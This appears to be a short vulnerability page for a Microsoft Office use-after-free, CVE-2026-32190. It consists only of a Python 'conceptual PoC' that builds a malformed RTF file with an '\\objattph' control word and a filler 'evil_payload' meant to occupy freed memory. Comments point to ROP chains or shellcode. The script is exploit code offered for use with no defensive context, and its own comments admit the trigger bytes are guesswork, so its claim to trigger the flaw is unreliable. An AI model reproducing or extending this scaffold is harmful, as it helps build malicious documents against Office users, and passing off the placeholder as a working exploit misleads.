CVE-2026-32190 Microsoft Office释放后重用漏洞

import struct # Conceptual PoC for CVE-2026-32190 (Microsoft Office UAF) # This script generates a malformed file structure designed to trigger the Use-After-Free condition. def generate_poc_file(filename): # RTF header header = b"{\\rtf1\\ansi\\ansicpg1252\\deff0\\nouicompat\\deflang1033" # Malicious payload intended to occupy the freed memory # In a real exploit, this would contain ROP chains or shellcode evil_payload = b"A" * 0x1000 # Control words to manipulate the parser state and cause the free operation # Specific tags may vary based on the actual vulnerability trigger trigger_free = b"{\\*\\generator Malformed_Generator;}\\viewkind4\\uc1\\pard\\f0\\fs20" # Trigger the use-after-free by referencing the freed object trigger_uaf = b"\\objattph " + evil_payload + b"}" rtf_content = header + trigger_free + trigger_uaf with open(filename, 'wb') as f: f.write(rtf_content) print(f"[+] PoC file generated: {filename}") if __name__ == "__main__": generate_poc_file("cve_2026_32190_poc.rtf")